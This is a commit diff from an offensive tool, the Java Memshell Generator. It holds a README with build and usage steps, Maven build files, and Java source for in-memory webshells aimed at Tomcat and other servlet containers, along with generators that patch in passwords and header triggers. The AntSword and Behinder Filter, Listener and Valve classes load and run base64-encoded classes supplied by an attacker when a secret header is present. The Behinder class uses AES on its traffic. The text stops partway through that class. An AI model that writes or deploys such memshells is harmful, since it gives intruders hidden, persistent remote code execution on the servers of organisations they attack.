add: 添加对 Tomcat Valve 的支持

README.md

@@ -1,44 +1,124 @@
-# Java Memshell Generator
+<h4 align="right"><strong><a href="jmg-docs/README_EN.md">English</a></strong> | 中文 </h4>
+<p align="center">
+  <h1 align="center">Java Memshell Generator</h1>
+  <div align="center">
+    <img alt="GitHub watchers" src="https://img.shields.io/github/watchers/pen4uin/java-memshell-generator?style=flat-square">
+    <img alt="GitHub forks" src="https://img.shields.io/github/forks/pen4uin/java-memshell-generator?style=flat-square">
+    <img alt="GitLab Stars" src="https://img.shields.io/github/stars/pen4uin/java-memshell-generator.svg?style=flat-square">
+  </div>
+  <div align="center">一款支持高度自定义的 Java 内存马生成工具</div>
+</p>
 
-## 0x01 Introduce
+<img src="./jmg-docs/img/gui.png" width="900px" />
 
-**jMG (Java Memshell Generator)** 是一款支持高度自定义的 Java 内存马生成工具，提供常见中间件的内存马注入支持。
+<br>
 
-主要功能如下：
-- 支持的中间件和框架 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/SpringMVC/SpringWebFlux)
-- 支持的工具 (AntSword/Behinder/Godzilla/Suo5)
-- 支持的内存马类型 (Filter/Listener/Interceptor/HandlerMethod)
-- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
-- 支持的辅助模块 (专项漏洞封装/表达式语句封装)
+> [!WARNING]
+> 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受，请勿使用此工具。
 
-> 此工具仅限于安全研究和教学，用户承担因使用此工具而导致的所有法律和相关责任！ 作者不承担任何法律和相关责任！
+<br>
 
+## 功能
 
-## 0x02 Usage
+| 中间件       | 框架            | 工具 (测试版本)                                                        | 内存马类型         | 输出格式       | 辅助模块    |
+|-----------|---------------|------------------------------------------------------------------|---------------|------------|---------|
+| Tomcat    | SpringMVC     | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener      | BASE64     | 专项漏洞封装  |
+| Resin     | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7)         | Filter        | BCEL       | 表达式语句封装 |
+| WebLogic  |               | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1)     | Interceptor   | BIGINTEGER |         |
+| Jetty     |               | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0)    | HandlerMethod | CLASS      |         |
+| WebSphere |               | [Suo5](https://github.com/zema1/suo5) (0.9.0)                    | TomcatValve   | JAR        |         |
+| Undertow  |               | Custom                                                           |               | JAR_AGENT  |         |
+| GlassFish |               |                                                                  |               | JS         |         |
+|           |               |                                                                  |               | JSP        |         |
 
-下载 jMG-GUI.jar 运行即可
+## 编译
 
-![](./img/gui.png)
+maven (v3.9.3)
 
-
-## 0x03 Contributor
-
-```text
-奇安信观星实验室(SGLAB of Legendsec at Qi'anxin Group)
+```shell
+mvn package assembly:single
 ```
 
-<img src="./img/sglab.svg" width=300 alt="SgLab">
+## 使用
 
-## 0x04 Reference
+**图形化**
 
-使用手册
-- [jMG v1.0.4](https://mp.weixin.qq.com/s/oAiGWY9ABhn2o148snA_sg)
-- [jMG v1.0.5](https://mp.weixin.qq.com/s/QjoRs_J5jVANrdEiiTtVtA)
-- [jMG v1.0.6](https://mp.weixin.qq.com/s/0ZzH35aRUPelq8nwilMQiA)
+```shell
+java -jar ./releases/jmg-gui-1.0.8.jar
+```
 
-参考项目
-- https://github.com/woodpecker-appstore/jexpr-encoder-utils
+**命令行**
+
+```shell
+java -jar ./releases/jmg-cli-1.0.8.jar
+```
+
+**Woodpecker 插件**
+
+将 jmg-woodpecker-1.0.8.jar 添加到 woodpecker 插件目录
+
+
+**第三方库 (Maven)**
+
+1.将 jmg-sdk-1.0.8.jar 安装到本地 maven 仓库
+
+```shell
+mvn install:install-file -Dfile=./releases/jmg-sdk-1.0.8.jar -DgroupId=jmg -DartifactId=jmg-sdk -Dversion=1.0.8 -Dpackaging=jar
+```
+
+2.添加为依赖
+
+```xml
+<dependency>
+    <groupId>jmg</groupId>
+    <artifactId>jmg-sdk</artifactId>
+    <version>1.0.8</version>
+</dependency>
+```
+
+3.示例
+
+```
+// 基础配置
+AbstractConfig config = new AbstractConfig() {{
+    // 设置工具类型
+    setToolType(Constants.TOOL_GODZILLA);
+    // 设置中间件 or 框架
+    setServerType(Constants.SERVER_TOMCAT);
+    // 设置内存马类型
+    setShellType(Constants.SHELL_LISTENER);
+    // 设置输出格式为 BASE64
+    setOutputFormat(Constants.FORMAT_BASE64);
+    // 设置漏洞利用封装，默认不启用
+    setGadgetType(Constants.GADGET_NONE);
+    // 初始化基础配置
+    build();
+}};
+
+jMGenerator generator = new jMGenerator(config);
+generator.genPayload();
+generator.printPayload();
+
+// 连接信息
+SDKResultUtil.printBasicInfo(config);
+SDKResultUtil.printDebugInfo(config);
+```
+
+## 文档
+
+- [jMG v1.0.8](./jmg-docs/1.0.8/)
+- [jMG v1.0.6](./jmg-docs/1.0.6/)
+- [jMG v1.0.5](./jmg-docs/1.0.5/)
+- [jMG v1.0.4](./jmg-docs/1.0.4/)
+
+## 致谢
+
+- https://github.com/c0ny1
+- https://github.com/whwlsfb
 - https://github.com/feihong-cs/memShell
 - https://github.com/su18/MemoryShell
 - https://github.com/BeichenDream/GodzillaMemoryShellProject
-- https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell
+
+## 协议
+
+- MIT

img/sglab.svg

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jmg-all/pom.xml

@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <parent>
+        <groupId>jmg</groupId>
+        <artifactId>java-memshell-generator</artifactId>
+        <version>1.0.8</version>
+    </parent>
+
+    <artifactId>jmg-all</artifactId>
+
+    <properties>
+        <maven.compiler.source>8</maven.compiler.source>
+        <maven.compiler.target>8</maven.compiler.target>
+        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+    </properties>
+    <dependencies>
+        <dependency>
+            <groupId>jmg</groupId>
+            <artifactId>jmg-woodpecker</artifactId>
+            <version>${parent.version}</version>
+            <scope>compile</scope>
+        </dependency>
+        <dependency>
+            <groupId>jmg</groupId>
+            <artifactId>jmg-sdk</artifactId>
+            <version>${parent.version}</version>
+            <scope>compile</scope>
+        </dependency>
+        <dependency>
+            <groupId>jmg</groupId>
+            <artifactId>jmg-cli</artifactId>
+            <version>${parent.version}</version>
+            <scope>compile</scope>
+        </dependency>
+        <dependency>
+            <groupId>jmg</groupId>
+            <artifactId>jmg-gui</artifactId>
+            <version>${parent.version}</version>
+            <scope>compile</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-assembly-plugin</artifactId>
+                <version>3.6.0</version>
+                <configuration>
+                    <descriptorRefs>
+                        <descriptorRef>jar-with-dependencies</descriptorRef>
+                    </descriptorRefs>
+                    <archive>
+                        <manifest>
+                            <mainClass>jmg.all.jMGApp</mainClass>
+                        </manifest>
+                    </archive>
+                    <appendAssemblyId>false</appendAssemblyId>
+                    <outputDirectory>../releases</outputDirectory>
+                </configuration>
+                <executions>
+                    <execution>
+                        <id>make-assembly</id>
+                        <phase>package</phase>
+                        <goals>
+                            <goal>single</goal>
+                        </goals>
+                    </execution>
+                </executions>
+            </plugin>
+        </plugins>
+    </build>
+</project>

jmg-all/src/main/java/jmg/all/jMGApp.java

@@ -0,0 +1,26 @@
+package jmg.all;
+
+import jmg.core.config.Constants;
+
+public class jMGApp {
+    public static void main(String[] args) throws Throwable {
+        if (args.length < 1) {
+            System.out.println("jmg usage:");
+            System.out.printf("1. java -jar jmg-all-%s.jar cli%n", Constants.JMG_VERSION);
+            System.out.printf("2. java -jar jmg-all-%s.jar gui%n", Constants.JMG_VERSION);
+            return;
+        }
+
+        switch (args[0]) {
+            case "gui":
+                jmg.gui.GUIApp.main(args);
+                break;
+            case "cli":
+                jmg.cli.CLIApp.main(args);
+                break;
+            default:
+                System.out.println("Invalid command. Please use either 'cli' or 'gui'.");
+                break;
+        }
+    }
+}

jmg-antsword/pom.xml

@@ -0,0 +1,20 @@
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <parent>
+        <groupId>jmg</groupId>
+        <artifactId>java-memshell-generator</artifactId>
+        <version>1.0.8</version>
+    </parent>
+    <artifactId>jmg-antsword</artifactId>
+
+    <dependencies>
+        <dependency>
+            <groupId>${parent.groupId}</groupId>
+            <artifactId>jmg-core</artifactId>
+            <version>${parent.version}</version>
+            <scope>compile</scope>
+        </dependency>
+    </dependencies>
+
+</project>

jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java

@@ -0,0 +1,62 @@
+package jmg.antsword.generator;
+
+import javassist.ClassClassPath;
+import javassist.CtClass;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.generator.IShellGenerator;
+import jmg.antsword.util.ShellUtil;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.JavassistUtil;
+import jmg.core.util.ResponseUtil;
+public class AntSwordGenerator implements IShellGenerator {
+
+    @Override
+    public void initShell(AbstractConfig config) {
+        if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
+    }
+
+    @Override
+    public byte[] makeShell(AbstractConfig config) throws Exception {
+        initShell(config);
+        String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
+        String shellClassName = ShellUtil.getShellClassName(shellName);
+        byte[] bytes = modifyShell(shellClassName, config);
+        config.setShellBytes(bytes);
+        config.setShellBytesLength(bytes.length);
+        config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
+        return bytes;
+    }
+
+    @Override
+    public byte[] modifyShell(String className, AbstractConfig config) {
+        byte[] bytes = new byte[0];
+        try {
+            pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class));
+            CtClass ctClass = pool.getCtClass(className);
+            ctClass.getClassFile().setVersionToJava5();
+            JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass());
+            JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
+            JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
+            JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
+
+            if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
+                String methodBody = ResponseUtil.getMethodBody(config.getServerType());
+                JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
+            }
+            if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
+                String methodBody = ResponseUtil.getMethodBody(config.getServerType());
+                methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
+                JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
+            }
+            JavassistUtil.removeSourceFileAttribute(ctClass);
+            bytes = ctClass.toBytecode();
+            ctClass.detach();
+        } catch (Exception e) {
+            e.printStackTrace();
+            throw new RuntimeException(e);
+        }
+        return bytes;
+    }
+
+}

jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java

@@ -0,0 +1,57 @@
+package jmg.antsword.memshell;
+
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+
+public class AntSwordFilter implements Filter {
+    public String pass;
+    public String headerName;
+    public String headerValue;
+
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+        HttpServletRequest request = (HttpServletRequest) servletRequest;
+        HttpServletResponse response = (HttpServletResponse) servletResponse;
+        try {
+            if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+                String cls = request.getParameter(pass);
+                if (cls != null) {
+                    try {
+                        byte[] data = doBase64Decode(cls);
+                        URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
+                        Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+                        method.setAccessible(true);
+                        Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
+                        clazz.newInstance().equals(new Object[]{request, response});
+                    } catch (Exception var7) {
+                    }
+                }
+            } else {
+                filterChain.doFilter(servletRequest, servletResponse);
+            }
+        } catch (Exception e) {
+            filterChain.doFilter(servletRequest, servletResponse);
+        }
+    }
+
+    public byte[] doBase64Decode(String str) throws Exception {
+        try {
+            Class clazz = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+        } catch (Exception var5) {
+            Class clazz = Class.forName("java.util.Base64");
+            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+            return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+        }
+    }
+
+    public void init(FilterConfig filterConfig) throws ServletException {
+    }
+
+    public void destroy() {
+    }
+}

jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordJakartaFilter.java

@@ -0,0 +1,57 @@
+package jmg.antsword.memshell;
+
+import jakarta.servlet.*;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+
+public class AntSwordJakartaFilter implements Filter {
+    public String pass;
+    public String headerName;
+    public String headerValue;
+
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+        HttpServletRequest request = (HttpServletRequest) servletRequest;
+        HttpServletResponse response = (HttpServletResponse) servletResponse;
+        try {
+            if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+                String cls = request.getParameter(pass);
+                if (cls != null) {
+                    try {
+                        byte[] data = doBase64Decode(cls);
+                        URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
+                        Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+                        method.setAccessible(true);
+                        Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
+                        clazz.newInstance().equals(new Object[]{request, response});
+                    } catch (Exception var7) {
+                    }
+                }
+            } else {
+                filterChain.doFilter(servletRequest, servletResponse);
+            }
+        } catch (Exception e) {
+            filterChain.doFilter(servletRequest, servletResponse);
+        }
+    }
+
+    public byte[] doBase64Decode(String str) throws Exception {
+        try {
+            Class clazz = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+        } catch (Exception var5) {
+            Class clazz = Class.forName("java.util.Base64");
+            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+            return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+        }
+    }
+
+    public void init(FilterConfig filterConfig) throws ServletException {
+    }
+
+    public void destroy() {
+    }
+}

jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordJakartaListener.java

@@ -0,0 +1,80 @@
+package jmg.antsword.memshell;
+
+import jakarta.servlet.ServletRequestEvent;
+import jakarta.servlet.ServletRequestListener;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+
+public class AntSwordJakartaListener implements ServletRequestListener {
+    public String pass;
+    public String headerName;
+    public String headerValue;
+
+    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
+    }
+
+    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+        try {
+            HttpServletResponse response = getResponseFromRequest(request);
+            if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+                String cls = request.getParameter(pass);
+                if (cls != null) {
+                    try {
+                        byte[] data = base64Decode(cls);
+                        URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
+                        Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+                        method.setAccessible(true);
+                        Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
+                        clazz.newInstance().equals(new Object[]{request, response});
+                        response.flushBuffer();
+                    } catch (Exception var7) {
+                    }
+                }
+            }
+
+        } catch (Exception ignored) {
+        }
+    }
+
+    private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
+        return null;
+    }
+
+    private static synchronized Object getFV(Object var0, String var1) throws Exception {
+        Field var2 = null;
+        Class var3 = var0.getClass();
+
+        while (var3 != Object.class) {
+            try {
+                var2 = var3.getDeclaredField(var1);
+                break;
+            } catch (NoSuchFieldException var5) {
+                var3 = var3.getSuperclass();
+            }
+        }
+
+        if (var2 == null) {
+            throw new NoSuchFieldException(var1);
+        } else {
+            var2.setAccessible(true);
+            return var2.get(var0);
+        }
+    }
+
+    public byte[] base64Decode(String str) throws Exception {
+        try {
+            Class clazz = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
+        } catch (Exception var5) {
+            Class clazz = Class.forName("java.util.Base64");
+            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+            return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
+        }
+    }
+
+}

jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java

@@ -0,0 +1,80 @@
+package jmg.antsword.memshell;
+
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+
+public class AntSwordListener implements ServletRequestListener {
+    public String pass;
+    public String headerName;
+    public String headerValue;
+
+    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
+    }
+
+    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+        try {
+            HttpServletResponse response = getResponseFromRequest(request);
+            if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+                String cls = request.getParameter(pass);
+                if (cls != null) {
+                    try {
+                        byte[] data = base64Decode(cls);
+                        URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
+                        Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+                        method.setAccessible(true);
+                        Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
+                        clazz.newInstance().equals(new Object[]{request, response});
+                        response.flushBuffer();
+                    } catch (Exception var7) {
+                    }
+                }
+            }
+
+        } catch (Exception ignored) {
+        }
+    }
+
+    private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
+        return null;
+    }
+
+    private static synchronized Object getFV(Object var0, String var1) throws Exception {
+        Field var2 = null;
+        Class var3 = var0.getClass();
+
+        while (var3 != Object.class) {
+            try {
+                var2 = var3.getDeclaredField(var1);
+                break;
+            } catch (NoSuchFieldException var5) {
+                var3 = var3.getSuperclass();
+            }
+        }
+
+        if (var2 == null) {
+            throw new NoSuchFieldException(var1);
+        } else {
+            var2.setAccessible(true);
+            return var2.get(var0);
+        }
+    }
+
+    public byte[] base64Decode(String str) throws Exception {
+        try {
+            Class clazz = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
+        } catch (Exception var5) {
+            Class clazz = Class.forName("java.util.Base64");
+            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+            return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
+        }
+    }
+
+}

jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordValve.java

@@ -0,0 +1,87 @@
+package jmg.antsword.memshell;
+
+import org.apache.catalina.Valve;
+import org.apache.catalina.connector.Request;
+import org.apache.catalina.connector.Response;
+
+import javax.servlet.ServletException;
+import java.io.IOException;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+
+
+public class AntSwordValve extends ClassLoader implements Valve {
+    protected Valve next;
+    protected boolean asyncSupported;
+
+    public String pass;
+
+    public String headerName;
+
+    public String headerValue;
+
+    public AntSwordValve() {
+    }
+
+    public AntSwordValve(ClassLoader c) {
+        super(c);
+    }
+
+    public Class g(byte[] b) {
+        return super.defineClass(b, 0, b.length);
+    }
+
+    @Override
+    public Valve getNext() {
+        return this.next;
+    }
+
+    @Override
+    public void setNext(Valve valve) {
+        this.next = valve;
+    }
+
+    @Override
+    public boolean isAsyncSupported() {
+        return this.asyncSupported;
+    }
+
+    @Override
+    public void backgroundProcess() {
+    }
+
+    @Override
+    public void invoke(Request request, Response response) throws IOException, ServletException {
+        try {
+            if (request.getHeader(headerName).contains(headerValue)) {
+                String cls = request.getParameter(pass);
+                if (cls != null) {
+
+                    byte[] data = base64Decode(cls);
+                    URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
+                    Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+                    method.setAccessible(true);
+                    Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
+                    clazz.newInstance().equals(new Object[]{request, response});
+                }
+            }else {
+                // 重要: 没有这一步会将目标服务器打挂
+                this.getNext().invoke(request, response);
+            }
+        } catch (Exception e) {
+            this.getNext().invoke(request, response);
+        }
+    }
+
+    public byte[] base64Decode(String str) throws Exception {
+        try {
+            Class clazz = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+        } catch (Exception var5) {
+            Class clazz = Class.forName("java.util.Base64");
+            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+            return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+        }
+    }
+}

jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java

@@ -0,0 +1,47 @@
+package jmg.antsword.util;
+
+import jmg.antsword.memshell.*;
+import jmg.core.config.Constants;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class ShellUtil {
+
+    private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
+    private static final Map<String, Map<String, String>> toolMap = new HashMap();
+
+    public ShellUtil() {
+    }
+
+    public static String getShellName(String toolType, String shellType) {
+        Map<String, String> shellMap = toolMap.get(toolType);
+        return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
+    }
+
+    public static String getShellClassName(String shellName) throws Exception {
+        if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
+            throw new Exception("Invalid shell type '" + shellName + "'");
+        } else {
+            return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
+        }
+    }
+
+    static {
+        SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
+        SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
+        SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName());
+        SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName());
+        SHELL_CLASSNAME_MAP.put(AntSwordValve.class.getSimpleName(), AntSwordValve.class.getName());
+
+        Map<String, String> antSwordMap = new HashMap();
+        antSwordMap.put(Constants.SHELL_FILTER, AntSwordFilter.class.getSimpleName());
+        antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
+        antSwordMap.put(Constants.SHELL_JAKARTA_FILTER, AntSwordJakartaFilter.class.getSimpleName());
+        antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName());
+        antSwordMap.put(Constants.SHELL_VALVE, AntSwordValve.class.getSimpleName());
+        toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
+    }
+
+
+}

jmg-behinder/pom.xml

@@ -0,0 +1,21 @@
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <parent>
+        <groupId>jmg</groupId>
+        <artifactId>java-memshell-generator</artifactId>
+        <version>1.0.8</version>
+    </parent>
+    <artifactId>jmg-behinder</artifactId>
+
+
+    <dependencies>
+        <dependency>
+            <groupId>${parent.groupId}</groupId>
+            <artifactId>jmg-core</artifactId>
+            <version>${parent.version}</version>
+            <scope>compile</scope>
+        </dependency>
+    </dependencies>
+
+</project>

jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java

@@ -0,0 +1,62 @@
+package jmg.behinder.generator;
+
+import javassist.ClassClassPath;
+import javassist.CtClass;
+import jmg.behinder.util.ShellUtil;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.generator.IShellGenerator;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.JavassistUtil;
+import jmg.core.util.ResponseUtil;
+
+public class BehinderGenerator implements IShellGenerator {
+
+    @Override
+    public void initShell(AbstractConfig config) {
+        if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
+    }
+
+    @Override
+    public byte[] makeShell(AbstractConfig config) throws Exception {
+        initShell(config);
+        String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
+        String shellClassName = ShellUtil.getShellClassName(shellName);
+        byte[] bytes = modifyShell(shellClassName, config);
+        config.setShellBytes(bytes);
+        config.setShellBytesLength(bytes.length);
+        config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
+        return bytes;
+    }
+
+    @Override
+    public byte[] modifyShell(String className, AbstractConfig config) {
+        byte[] bytes = new byte[0];
+        try {
+            pool.insertClassPath(new ClassClassPath(BehinderGenerator.class));
+            CtClass ctClass = pool.getCtClass(className);
+            ctClass.getClassFile().setVersionToJava5();
+            JavassistUtil.addFieldIfNotNull(ctClass, "pass", CommonUtil.getMd5(config.getPass()).substring(0, 16));
+            JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
+            JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
+            JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
+            if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
+                String methodBody = ResponseUtil.getMethodBody(config.getServerType());
+                JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
+            }
+            if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
+                String methodBody = ResponseUtil.getMethodBody(config.getServerType());
+                methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
+                JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
+            }
+            JavassistUtil.removeSourceFileAttribute(ctClass);
+            bytes = ctClass.toBytecode();
+            ctClass.detach();
+        } catch (Exception e) {
+            e.printStackTrace();
+            throw new RuntimeException(e);
+        }
+        return bytes;
+    }
+
+}

jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java

@@ -0,0 +1,70 @@
+package jmg.behinder.memshell;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
+
+public class BehinderFilter extends ClassLoader implements Filter {
+    public String pass;
+    public String headerName;
+    public String headerValue;
+
+    public Class g(byte[] b) {
+        return super.defineClass(b, 0, b.length);
+    }
+
+    public BehinderFilter() {
+    }
+
+    public BehinderFilter(ClassLoader c) {
+        super(c);
+    }
+
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+        HttpServletRequest request = (HttpServletRequest) servletRequest;
+        HttpServletResponse response = (HttpServletResponse) servletResponse;
+
+        try {
+            if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+                HttpSession session = ((HttpServletRequest) servletRequest).getSession();
+                Map obj = new HashMap();
+                obj.put("request", servletRequest);
+                obj.put("response", response);
+                obj.put("session", session);
+
+                session.putValue("u", this.pass);
+                Cipher c = Cipher.getInstance("AES");
+                c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
